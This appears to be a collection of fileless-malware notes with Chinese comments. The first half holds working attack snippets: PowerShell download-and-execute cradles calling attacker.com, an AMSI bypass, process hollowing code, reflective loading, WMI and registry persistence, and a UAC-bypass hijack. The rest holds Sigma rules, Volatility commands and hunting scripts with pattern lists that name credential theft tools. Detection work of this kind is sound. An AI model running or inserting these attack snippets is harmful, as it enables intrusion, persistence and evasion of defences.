IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')

$wc = New-Object System.Net.WebClient
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX $wc.DownloadString('https://attacker.com/stage2.ps1')

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (Invoke-WebRequest -Uri 'https://attacker.com/beacon.ps1' -UseBasicParsing).Content

$data = (New-Object Net.WebClient).DownloadData('http://192.168.1.100/encoded.bin')
$dec = [System.Text.Encoding]::UTF8.GetString($data)
$dec = [Convert]::FromBase64String($dec)
IEX ([Text.Encoding]::UTF8.GetString($dec))

$a=[Ref].Assembly.GetTypes();ForEach($b in $a){if($b.Name -like "*iUtils"){$c=$b}};$d=$c.GetFields('NonPublic,Static');ForEach($e in $d){if($e.Name -like "*Context"){$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf=@(0);[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)

$s = 'I' + 'EX'
$cmd = (New-Object Net.WebClient).DownloadString('http://attacker.com/p.ps1')
Invoke-Expression $cmd

$code = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SWV4IChOZXQtT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vYXR0YWNrZXIuY29tL3BheWxvYWQucHMxJyk='))
& ([scriptblock]::Create($code))

$basePath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell'
New-Item -Path "$basePath\ScriptBlockLogging" -Force
Set-ItemProperty -Path "$basePath\ScriptBlockLogging" -Name 'EnableScriptBlockLogging' -Value 1
Set-ItemProperty -Path "$basePath\ScriptBlockLogging" -Name 'EnableScriptBlockInvocationLogging' -Value 1
New-Item -Path "$basePath\ModuleLogging" -Force
Set-ItemProperty -Path "$basePath\ModuleLogging" -Name 'EnableModuleLogging' -Value 1
New-ItemProperty -Path "$basePath\ModuleLogging" -Name 'ModuleNames' -Value '*' -Force
New-Item -Path "$basePath\Transcription" -Force
Set-ItemProperty -Path "$basePath\Transcription" -Name 'EnableTranscripting' -Value 1
Set-ItemProperty -Path "$basePath\Transcription" -Name 'OutputDirectory' -Value 'C:\PSTranscripts' -Force

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <ProcessCreate onmatch="include">
      <Image condition="is">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Image>
    </ProcessCreate>
    <ProcessCreate onmatch="include">
      <Image condition="is">C:\Windows\System32\mshta.exe</Image>
    </ProcessCreate>
    <ProcessCreate onmatch="include">
      <Image condition="is">C:\Windows\System32\wscript.exe</Image>
    </ProcessCreate>
    <ProcessCreate onmatch="include">
      <Image condition="is">C:\Windows\System32\cscript.exe</Image>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE,
    CREATE_SUSPENDED, NULL, NULL, &si, &pi);
NtUnmapViewOfSection(pi.hProcess, baseAddress);
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, NULL, payloadSize,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteMem, payload, payloadSize, NULL);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Eax = (DWORD)remoteMem;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

vol3 -f memory.dump windows.pslist
vol3 -f memory.dump windows.pstree
vol3 -f memory.dump windows.procinfo
vol3 -f memory.dump windows.malfind
vol3 -f memory.dump windows.vadinfo --pid 1234

PID   Process         Start VPN     End VPN       Tag   Protection
----- --------------- ------------ ------------- ----- ----------
1234  svchost.exe     0x00000000    0x00010000    VadS  PAGE_EXECUTE_READWRITE
Vad Tag: VadS
Protection: PAGE_EXECUTE_READWRITE
Flags: PrivateMemory: 1, NoChange: 0

vol3 -f memory.dump windows.netscan
vol3 -f memory.dump windows.handles --pid 1234
vol3 -f memory.dump windows.dlllist --pid 1234
vol3 -f memory.dump windows.cmdline
vol3 -f memory.dump windows.filescan
vol3 -f memory.dump windows.dumpfiles --virtaddr 0x00000000 --pid 1234

$asm = [System.Reflection.Assembly]::Load([Convert]::FromBase64String('TVqQAAMAAAAEAAAA'))
$asm.GetType('Namespace.Class').GetMethod('Method').Invoke($null, @())

[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://attacker.com/implant.dll'))
[Namespace.Program]::Main(@())

$a = (New-Object System.Net.WebClient).DownloadData('https://attacker.com/beacon.bin')
$dec = [System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($a), [System.IO.Compression.CompressionMode]::Decompress)
$br = New-Object System.IO.BinaryReader($dec)
$payload = $br.ReadBytes(1024 * 1024)
[System.Reflection.Assembly]::Load($payload)

$ab = [System.Reflection.Emit.AssemblyBuilder]::DefineDynamicAssembly([System.Reflection.AssemblyName]::new('Mal'), [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$mb = $ab.DefineDynamicModule('MainMod')
$tb = $mb.DefineType('Program')
$mb2 = $tb.DefineMethod('Run', [System.Reflection.MethodAttributes]::Public -bor [System.Reflection.MethodAttributes]::Static, [void], @([string[]]))
$il = $mb2.GetILGenerator()
$il.Emit([System.Reflection.Emit.OpCodes]::Ldstr, 'Hello from emitted code')
$il.Emit([System.Reflection.Emit.OpCodes]::Call, [Console].GetMethod('WriteLine', @([string])))
$il.Emit([System.Reflection.Emit.OpCodes]::Ret)
$tp = $tb.CreateType()
$tp.GetMethod('Run').Invoke($null, @(@()))

$domain = [AppDomain]::CreateDomain('Loader')
$domain.SetData('payload', [byte[]](Get-Content -Path 'C:\payload.bin' -Encoding Byte))
$domain.DoCallBack({param($d) $p = [byte[]]$d.GetData('payload'); [System.Reflection.Assembly]::Load($p); [Exec.Program]::Go()})

$bytes = [Convert]::FromBase64String('AQAAANAA...')
$asm = [System.Reflection.Assembly]::Load($bytes)
$type = $asm.GetType('Payload.Entry')
$method = $type.GetMethod('Execute')
$method.Invoke($null, $null)

[System.AppDomain]::CurrentDomain.GetAssemblies() | Select-Object -Property FullName, Location, IsDynamic | Format-Table -AutoSize

vol3 -f memory.dump windows.vadinfo --pid 1234 | grep -i "rw-"
vol3 -f memory.dump windows.netscan

$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = 'SystemMonitor'
    EventNamespace = 'root\cimv2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 8 AND TargetInstance.Minute = 30"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = 'Updater'
    CommandLineTemplate = 'powershell.exe -NoProfile -NonInteractive -EncodedCommand <BASE64_PAYLOAD>'
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = 'BootTrigger'
    EventNamespace = 'root\cimv2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments @{
    Name = 'ScriptRunner'
    ScriptText = 'Set objShell = CreateObject("WScript.Shell")'
    ScriptingEngine = 'VBScript'
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

Get-WmiObject -Namespace root\subscription -Class __EventFilter | Select-Object Name, QueryLanguage, Query
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | Select-Object Name, CommandLineTemplate
Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Select-Object Name, ScriptText, ScriptingEngine

reg query "HKLM\SOFTWARE\Microsoft\WBEM\WDM" /s
reg query "HKLM\SOFTWARE\Microsoft\WBEM\WDM\DISCOVERY" /s
dir C:\Windows\System32\wbem\Repository\

$regPath = 'HKCU:\Software\classes\ms-settings\Shell\Open\command'
New-Item -Path $regPath -Force
Set-ItemProperty -Path $regPath -Name '(Default)' -Value 'C:\Windows\System32\cmd.exe /c powershell.exe -nop -w hidden -c <PAYLOAD>'
New-ItemProperty -Path $regPath -Name 'DelegateExecute' -Value '' -Force

$shellcode = [Convert]::FromBase64String('AAAA4BcA...')
$regPath = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer'
Set-ItemProperty -Path $regPath -Name 'Run' -Value $shellcode

$payload = Get-Content -Path 'C:\temp\beacon.bin' -Encoding Byte
$encoded = [Convert]::ToBase64String($payload)
$regPath = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce'
New-ItemProperty -Path $regPath -Name 'WindowsUpdate' -Value "powershell.exe -c `$d=[Convert]::FromBase64String('$encoded');IEX `$d" -Force

mshta vbscript:Execute("Set o=CreateObject(""WScript.Shell""):o.Run ""powershell.exe -nop -w hidden -c <COMMAND>"",0:Close")

reg add "HKCU\Software\Classes\.hta\ShellNew\command" /ve /t REG_SZ /d "cmd.exe /c powershell.exe -nop -w hidden -c <PAYLOAD>" /f

reg add "HKCU\Software\Classes\msfile\ShellNew\command" /ve /t REG_SZ /d "wscript.exe //B //Nologo C:\temp\payload.vbs" /f

Get-Process | ForEach-Object {
    $proc = $_
    try {
        $modules = $_.Modules
        foreach ($m in $modules) {
            $path = $m.FileName
            if ($path -and $path -notmatch '^(C:\\Windows|C:\\Program Files)') {
                [PSCustomObject]@{
                    ProcessName = $proc.Name
                    PID = $proc.Id
                    ModulePath = $path
                    ModuleBase = $m.ModuleName
                }
            }
        }
    } catch {}
} | Format-Table -AutoSize

vol3 -f memory.dump windows.dlllist --pid 1234
vol3 -f memory.dump windows.netscan
vol3 -f memory.dump windows.vadinfo --pid 1234

title: PowerShell Launched by Office Application
id: 7a2c1e8f-4b3d-4e5a-9c8f-1a2b3c4d5e6f
status: experimental
description: Detects PowerShell process spawned by Microsoft Office applications, which is a strong indicator of fileless malware execution
references:
  - https://attack.mitre.org/techniques/T1059/001/
author: x7peeps
date: 2026-07-09
tags:
  - attack.execution
  - attack.t1059.001
  - attack.defense_evasion
  - attack.t1562.001
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith:
      - '\WINWORD.EXE'
      - '\EXCEL.EXE'
      - '\POWERPNT.EXE'
      - '\OUTLOOK.EXE'
      - '\MSPUB.EXE'
      - '\VISIO.EXE'
  selection_child:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  condition: selection_parent and selection_child
fields:
  - ParentImage
  - ParentCommandLine
  - Image
  - CommandLine
  - User
  - IntegrityLevel
falsepositives:
  - Legitimate Office add-ins using PowerShell for automation
level: high

title: WMI Event Subscription Persistence
id: 3e4f5a6b-7c8d-4e9f-0a1b-2c3d4e5f6a7b
status: experimental
description: Detects creation of WMI event subscription persistence mechanisms
references:
  - https://attack.mitre.org/techniques/T1546/003/
author: x7peeps
date: 2026-07-09
tags:
  - attack.persistence
  - attack.t1546.003
logsource:
  product: windows
  service: wmi
detection:
  selection_consumer:
    EventID|contains:
      - 'CommandLineEventConsumer'
      - 'ActiveScriptEventConsumer'
  selection_filter:
    EventID|contains:
      - '__EventFilter'
  selection_binding:
    EventID|contains:
      - '__FilterToConsumerBinding'
  condition: selection_consumer or selection_filter or selection_binding
fields:
  - ConsumerName
  - CommandLineTemplate
  - Query
falsepositives:
  - Legitimate system management scripts using WMI events
level: high

title: Suspendsuspended Process Creation Indicative of Process Hollowing
id: 5d6e7f8a-9b0c-1d2e-3f4a-5b6c7d8e9f0a
status: experimental
description: Detects process creation with CREATE_SUSPENDED flag which may indicate Process Hollowing technique
references:
  - https://attack.mitre.org/techniques/T1055/012/
author: x7peeps
date: 2026-07-09
tags:
  - attack.defense_evasion
  - attack.t1055.012
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith:
      - '\svchost.exe'
      - '\csrss.exe'
      - '\smss.exe'
      - '\lsass.exe'
    ParentImage|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\mshta.exe'
      - '\rundll32.exe'
      - '\regsvr32.exe'
  condition: selection
fields:
  - Image
  - ParentImage
  - ParentCommandLine
  - CommandLine
falsepositives:
  - Rare legitimate scenarios where system processes are started via scripting
level: high

#!/bin/bash
MEMORY_IMAGE="$1"
SYSMON_LOG="$2"
OUTPUT_DIR="$3"
mkdir -p "$OUTPUT_DIR/fileless_analysis"

echo "[*] 无文件恶意代码自动化检测分析脚本"
echo "[*] 内存映像: $MEMORY_IMAGE"
echo "[*] Sysmon 日志: $SYSMON_LOG"

echo "[+] Phase 1: 内存映像可疑进程检测"
vol3 -f "$MEMORY_IMAGE" windows.pslist > "$OUTPUT_DIR/fileless_analysis/pslist.txt" 2>/dev/null
vol3 -f "$MEMORY_IMAGE" windows.pstree > "$OUTPUT_DIR/fileless_analysis/pstree.txt" 2>/dev/null
vol3 -f "$MEMORY_IMAGE" windows.malfind --output csv > "$OUTPUT_DIR/fileless_analysis/malfind.csv" 2>/dev/null

echo "[+] Phase 2: 网络连接枚举"
vol3 -f "$MEMORY_IMAGE" windows.netscan > "$OUTPUT_DIR/fileless_analysis/netscan.txt" 2>/dev/null

echo "[+] Phase 3: DLL 加载异常检测"
while IFS= read -r line; do
    pid=$(echo "$line" | awk '{print $1}')
    proc=$(echo "$line" | awk '{print $2}')
    vol3 -f "$MEMORY_IMAGE" windows.dlllist --pid "$pid" > "$OUTPUT_DIR/fileless_analysis/dlllist_${proc}_${pid}.txt" 2>/dev/null
done < <(vol3 -f "$MEMORY_IMAGE" windows.pslist 2>/dev/null | tail -n +4 | head -n -1)

echo "[+] Phase 4: PowerShell 相关进程日志分析"
if [ -f "$SYSMON_LOG" ]; then
    echo "=== PowerShell 创建事件 ===" > "$OUTPUT_DIR/fileless_analysis/powershell_events.txt"
    grep -i "powershell\|pwsh" "$SYSMON_LOG" >> "$OUTPUT_DIR/fileless_analysis/powershell_events.txt" 2>/dev/null
    echo "=== 可疑进程父子关系 ===" > "$OUTPUT_DIR/fileless_analysis/suspicious_parents.txt"
    grep -i "svchost.exe\|csrss.exe\|lsass.exe" "$SYSMON_LOG" | grep -i "powershell\|cmd.exe\|wscript\|mshta\|rundll32" >> "$OUTPUT_DIR/fileless_analysis/suspicious_parents.txt" 2>/dev/null
fi

echo "[+] Phase 5: malfind 结果中的 RWX 内存区域分析"
if [ -f "$OUTPUT_DIR/fileless_analysis/malfind.csv" ]; then
    grep -i "PAGE_EXECUTE_READWRITE\|0x10000" "$OUTPUT_DIR/fileless_analysis/malfind.csv" > "$OUTPUT_DIR/fileless_analysis/rwx_regions.csv" 2>/dev/null
    RWX_COUNT=$(wc -l < "$OUTPUT_DIR/fileless_analysis/rwx_regions.csv" 2>/dev/null || echo 0)
    echo "[*] 发现 $RWX_COUNT 个可疑 RWX 内存区域"
fi

echo "[+] Phase 6: 命令行参数分析"
vol3 -f "$MEMORY_IMAGE" windows.cmdline > "$OUTPUT_DIR/fileless_analysis/cmdline.txt" 2>/dev/null
grep -i "encodedcommand\|elev\|iex\|invoke-expression\|downloadstring\|bypass\|noprofile\|hidden" "$OUTPUT_DIR/fileless_analysis/cmdline.txt" > "$OUTPUT_DIR/fileless_analysis/suspicious_cmdline.txt" 2>/dev/null
SUSPICIOUS_CMD_COUNT=$(wc -l < "$OUTPUT_DIR/fileless_analysis/suspicious_cmdline.txt" 2>/dev/null || echo 0)
echo "[*] 发现 $SUSPICIOUS_CMD_COUNT 条可疑命令行"

echo "[+] Phase 7: 生成检测摘要报告"
cat > "$OUTPUT_DIR/fileless_analysis/summary_report.txt" <<EOF
===================================================
无文件恶意代码检测摘要报告
===================================================
分析时间: $(date '+%Y-%m-%d %H:%M:%S')
内存映像: $MEMORY_IMAGE
Sysmon 日志: $SYSMON_LOG
===================================================
malfind 检出 RWX 区域数: $RWX_COUNT
可疑命令行数量: $SUSPICIOUS_CMD_COUNT
===================================================
详细结果请查看各子目录文件
===================================================
EOF

echo "[+] 分析完成，结果保存在: $OUTPUT_DIR/fileless_analysis/"

function Invoke-FilelessMalwareHunt {
    param(
        [string]$OutputPath = "$env:TEMP\FilelessHunt_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"
    )
    $results = @()

    Write-Host "[*] Phase 1: 检测 PowerShell 日志配置" -ForegroundColor Cyan
    $sbLogPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
    $sbEnabled = Get-ItemProperty -Path $sbLogPath -Name 'EnableScriptBlockLogging' -ErrorAction SilentlyContinue
    if (-not $sbEnabled -or $sbEnabled.EnableScriptBlockLogging -ne 1) {
        $results += [PSCustomObject]@{
            Category = 'LogConfig'
            Finding = 'PowerShell ScriptBlock Logging 未启用'
            Severity = 'HIGH'
            Detail = '攻击者可利用此配置缺陷逃避 PowerShell 脚本执行日志记录'
        }
    }

    Write-Host "[*] Phase 2: 检查 WMI 事件订阅持久化" -ForegroundColor Cyan
    $wmiFilters = Get-WmiObject -Namespace root\subscription -Class __EventFilter -ErrorAction SilentlyContinue
    $wmiConsumers = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -ErrorAction SilentlyContinue
    $wmiBindings = Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding -ErrorAction SilentlyContinue
    if ($wmiFilters) {
        foreach ($f in $wmiFilters) {
            $results += [PSCustomObject]@{
                Category = 'WMI_Persistence'
                Finding = "发现 WMI EventFilter: $($f.Name)"
                Severity = 'HIGH'
                Detail = "WQL: $($f.Query)"
            }
        }
    }
    if ($wmiConsumers) {
        foreach ($c in $wmiConsumers) {
            $results += [PSCustomObject]@{
                Category = 'WMI_Persistence'
                Finding = "发现 WMI CommandLineEventConsumer: $($c.Name)"
                Severity = 'CRITICAL'
                Detail = "CommandLineTemplate: $($c.CommandLineTemplate)"
            }
        }
    }

    Write-Host "[*] Phase 3: 检查注册表无文件存储" -ForegroundColor Cyan
    $regPaths = @(
        'HKCU:\Software\classes\ms-settings\Shell\Open\command',
        'HKCU:\Software\classes\ms-file\ShellNew\command',
        'HKLM:\SOFTWARE\Classes\ms-settings\Shell\Open\command',
        'HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',
        'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',
        'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run',
        'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
    )
    foreach ($rp in $regPaths) {
        if (Test-Path $rp) {
            $props = Get-ItemProperty -Path $rp -ErrorAction SilentlyContinue
            foreach ($p in $props.PSObject.Properties) {
                if ($p.Name -notmatch '^PS' -and $p.Value -match 'powershell|cmd\.exe|mshta|wscript|cscript|rundll32|regsvr32|encodedcommand|bypass') {
                    $results += [PSCustomObject]@{
                        Category = 'Registry_Storage'
                        Finding = "注册表键值包含可疑执行命令"
                        Severity = 'CRITICAL'
                        Detail = "Path: $($rp) Name: $($p.Name) Value: $($p.Value)"
                    }
                }
            }
        }
    }

    Write-Host "[*] Phase 4: 检查可疑进程内存权限" -ForegroundColor Cyan
    $suspiciousProcs = Get-Process | Where-Object {
        $_.ProcessName -in @('svchost', 'csrss', 'smss', 'lsass', 'services')
    }
    foreach ($proc in $suspiciousProcs) {
        try {
            $parent = (Get-CimInstance Win32_Process -Filter "ProcessId=$($proc.Id)").ParentProcessId
            $parentProc = Get-Process -Id $parent -ErrorAction SilentlyContinue
            if ($parentProc -and $parentProc.ProcessName -in @('powershell', 'cmd', 'wscript', 'cscript', 'mshta', 'rundll32')) {
                $results += [PSCustomObject]@{
                    Category = 'Process_Hollowing'
                    Finding = "关键系统进程 $($proc.ProcessName) 由 $($parentProc.ProcessName) 创建"
                    Severity = 'CRITICAL'
                    Detail = "PID: $($proc.Id) ParentPID: $parent"
                }
            }
        } catch {}
    }

    Write-Host "[*] Phase 5: 检查 DLL Side-Loading 指标" -ForegroundColor Cyan
    Get-Process | ForEach-Object {
        $p = $_
        try {
            $p.Modules | ForEach-Object {
                $dllPath = $_.FileName
                if ($dllPath -and $dllPath -notmatch '^(C:\\Windows|C:\\Program Files|C:\\Program Files \(x86\))') {
                    $results += [PSCustomObject]@{
                        Category = 'DLL_SideLoading'
                        Finding = "进程 $($p.Name) 加载了非标准路径 DLL"
                        Severity = 'MEDIUM'
                        Detail = "DLL Path: $dllPath"
                    }
                }
            }
        } catch {}
    }

    $results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
    Write-Host "`n[+] 检测完成，共发现 $($results.Count) 条告警" -ForegroundColor Green
    Write-Host "[+] 报告已保存至: $OutputPath" -ForegroundColor Green
    return $results
}

Invoke-FilelessMalwareHunt

import sys
import json
import hashlib
import os
from pathlib import Path
from datetime import datetime

KNOWN_SUSPICIOUS_PATTERNS = {
    'powershell_encoded': ['EncodedCommand', '-e ', '-enc ', '-encodedcommand'],
    'amsi_bypass': ['AmsiUtils', 'amsiInitFailed', 'AmsiScanBuffer', 'AmsiOpenSession'],
    'process_hollowing': ['NtUnmapViewOfSection', 'WriteProcessMemory', 'SetThreadContext'],
    'reflection_load': ['Assembly.Load', 'Assembly.LoadFile', 'Assembly.LoadFrom', 'Reflection.Emit'],
    'download_execute': ['DownloadString', 'DownloadData', 'DownloadFile', 'Invoke-WebRequest', 'Net.WebClient'],
    'wmi_persistence': ['__EventFilter', '__EventConsumer', '__FilterToConsumerBinding', 'CommandLineEventConsumer'],
    'registry_stash': ['ms-settings\\Shell\\Open\\command', 'ms-file\\ShellNew\\command'],
    'process_injection': ['VirtualAllocEx', 'CreateRemoteThread', 'NtCreateThreadEx', 'QueueUserAPC'],
    'credential_access': ['Mimikatz', 'sekurlsa', 'logonpasswords', 'lsass'],
    'defender_bypass': ['Set-MpPreference', 'DisableRealtimeMonitoring', 'Add-MpPreference', 'ExclusionPath']
}

KNOWN_MALICIOUS_PATHS = [
    'C:\\ProgramData\\',
    'C:\\Users\\Public\\',
    'C:\\Temp\\',
    'C:\\Windows\\Temp\\',
    'C:\\ProgramData\\Microsoft\\',
    '%TEMP%\\',
    '%APPDATA%\\',
    '%LOCALAPPDATA%\\Temp\\'
]

def analyze_sysmon_log(log_path):
    findings = []
    with open(log_path, 'r', encoding='utf-8', errors='ignore') as f:
        for line_num, line in enumerate(f, 1):
            for category, patterns in KNOWN_SUSPICIOUS_PATTERNS.items():
                for pattern in patterns:
                    if pattern.lower() in line.lower():
                        findings.append({
                            'source': os.path.basename(log_path),
                            'line': line_num,
                            'category': category,
                            'pattern': pattern,
                            'context': line.strip()[:300]
                        })
    return findings

def analyze_powershell_scriptblock(log_path):
    findings = []
    with open(log_path, 'r', encoding='utf-8', errors='ignore') as f:
        content = f.read()
    for category, patterns in KNOWN_SUSPICIOUS_PATTERNS.items():
        for pattern in patterns:
            if pattern.lower() in content.lower():
                idx = content.lower().index(pattern.lower())
                start = max(0, idx - 100)
                end = min(len(content), idx + 200)
                findings.append({
                    'source': os.path.basename(log_path),
                    'line': content[:idx].count('\n') + 1,
                    'category': category,
                    'pattern': pattern,
                    'context': content[start:end].replace('\n', ' ')[:300]
                })
    return findings

def calculate_file_hash(file_path):
    sha256 = hashlib.sha256()
    md5 = hashlib.md5()
    with open(file_path, 'rb') as f:
        for chunk in iter(lambda: f.read(8192), b''):
            sha256.update(chunk)
            md5.update(chunk)
    return {'sha256': sha256.hexdigest(), 'md5': md5.hexdigest()}

def scan_directory(target_dir, output_file):
    all_findings = []
    target = Path(target_dir)
    log_extensions = {'.log', '.evtx', '.xml', '.txt', '.csv', '.json'}

    print(f"[*] 扫描目标目录: {target_dir}")
    for file_path in target.rglob('*'):
        if file_path.is_file() and file_path.suffix.lower() in log_extensions:
            print(f"[*] 分析文件: {file_path}")
            try:
                findings = analyze_sysmon_log(str(file_path))
                all_findings.extend(findings)
            except Exception as e:
                print(f"[!] 分析失败 {file_path}: {e}")

    report = {
        'scan_time': datetime.now().isoformat(),
        'target_directory': target_dir,
        'total_findings': len(all_findings),
        'findings_by_category': {},
        'findings': all_findings
    }
    for f in all_findings:
        cat = f['category']
        if cat not in report['findings_by_category']:
            report['findings_by_category'][cat] = 0
        report['findings_by_category'][cat] += 1

    with open(output_file, 'w', encoding='utf-8') as f:
        json.dump(report, f, ensure_ascii=False, indent=2)

    print(f"\n[+] 扫描完成，共发现 {len(all_findings)} 条告警")
    for cat, count in report['findings_by_category'].items():
        print(f"    {cat}: {count} 条")
    print(f"[+] 报告已保存至: {output_file}")
    return report

def generate_sigma_compatible_output(findings, output_file):
    sigma_events = []
    for f in findings:
        severity_map = {
            'amsi_bypass': 'critical',
            'process_hollowing': 'critical',
            'wmi_persistence': 'high',
            'reflection_load': 'high',
            'download_execute': 'high',
            'powershell_encoded': 'medium',
            'registry_stash': 'high',
            'process_injection': 'critical',
            'credential_access': 'critical',
            'defender_bypass': 'high'
        }
        sigma_events.append({
            'timestamp': datetime.now().isoformat(),
            'rule_level': severity_map.get(f['category'], 'medium'),
            'rule_id': f"fileless-{f['category']}-{f['line']}",
            'category': 'fileless_malware',
            'title': f"Fileless Malware Indicator: {f['category']}",
            'description': f"Detected pattern '{f['pattern']}' in {f['source']} at line {f['line']}",
            'logsource': f['source'],
            'line': f['line'],
            'pattern': f['pattern'],
            'context': f['context']
        })

    with open(output_file, 'w', encoding='utf-8') as f:
        json.dump(sigma_events, f, ensure_ascii=False, indent=2)
    print(f"[+] Sigma 兼容输出已保存至: {output_file}")

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print(f"用法: python {sys.argv[0]} <目标目录> <输出文件>")
        print(f"示例: python {sys.argv[0]} C:\\Forensics\\Evidence\\analysis report.json")
        sys.exit(1)
    target = sys.argv[1]
    output = sys.argv[2]
    report = scan_directory(target, output)
    sigma_output = output.replace('.json', '_sigma.json')
    generate_sigma_compatible_output(report['findings'], sigma_output)

vol3 -f solarwinds_memory.dmp windows.pslist
vol3 -f solarwinds_memory.dmp windows.malfind
vol3 -f solarwinds_memory.dmp windows.netscan
vol3 -f solarwinds_memory.dmp windows.hashdump
vol3 -f solarwinds_memory.dmp windows.cmdline

wevtutil qe "Microsoft-Windows-Sysmon/Operational" /f:text /c:1000 /rd:true | grep -A5 "powershell.exe\|svchost.exe\|mimikatz"

vol3 -f darkside_memory.dmp windows.pslist
vol3 -f darkside_memory.dmp windows.malfind
vol3 -f darkside_memory.dmp windows.hashdump
vol3 -f darkside_memory.dmp windows.netscan
vol3 -f darkside_memory.dmp windows.cmdline | grep -i "powershell\|curl\|certutil\|bitsadmin"